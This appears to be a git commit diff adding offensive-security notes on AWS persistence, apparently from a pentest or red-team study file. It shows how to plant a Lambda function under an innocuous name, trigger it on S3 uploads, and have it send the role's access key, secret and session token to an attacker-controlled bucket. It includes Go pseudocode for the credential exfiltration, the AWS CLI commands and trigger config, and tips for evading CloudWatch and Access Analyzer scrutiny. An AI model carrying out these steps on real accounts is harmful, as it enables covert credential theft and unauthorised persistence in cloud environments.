first commit

2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,46 @@
+- Lambda functions
+	- Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
+		- The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
+		- S3 dashboard makes it less obvious.
+	- Access Analyzer will be concerned by creating new users or granting permissions to foreign users
+		- Use something like uploading lambda role credentials to a foreign bucket
+- Golang Pseudocode:
+```Go
+accessKey := fmt.Sprintf(`
+	AWS_ACCESS_KEY_ID=%s
+	AWS_SECRET_ACCESS_KEY=%s
+	AWS_SESSION_TOKEN=%s"`,
+		os.Getenv("AWS_ACCESS_KEY_ID"),
+		os.Getenv("AWS_SECRET_ACCESS_KEY"),
+		os.Getenv("AWS_SESSION_TOKEN"), 
+	) 
+uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
+```
+
+- Create lambda function
+	- `aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>`
+- Create trigger event on upload of file to s3
+	- `aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>`
+	- Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
+		- `aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json`
+- Example rule config
+```JSON
+{
+    "LambdaFunctionConfigurations": [{
+        "Id": "s3InvokeLambda12",
+        "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
+:function:support-metrics-calc",
+        "Events": ["s3:ObjectCreated:*"],
+        "Filter": {
+            "Key": {
+                "FilterRules": [{
+                    "Name": "prefix",
+                    "Value": "2"
+                }]
+            }
+        }
+    }]
+}
+```
+
+-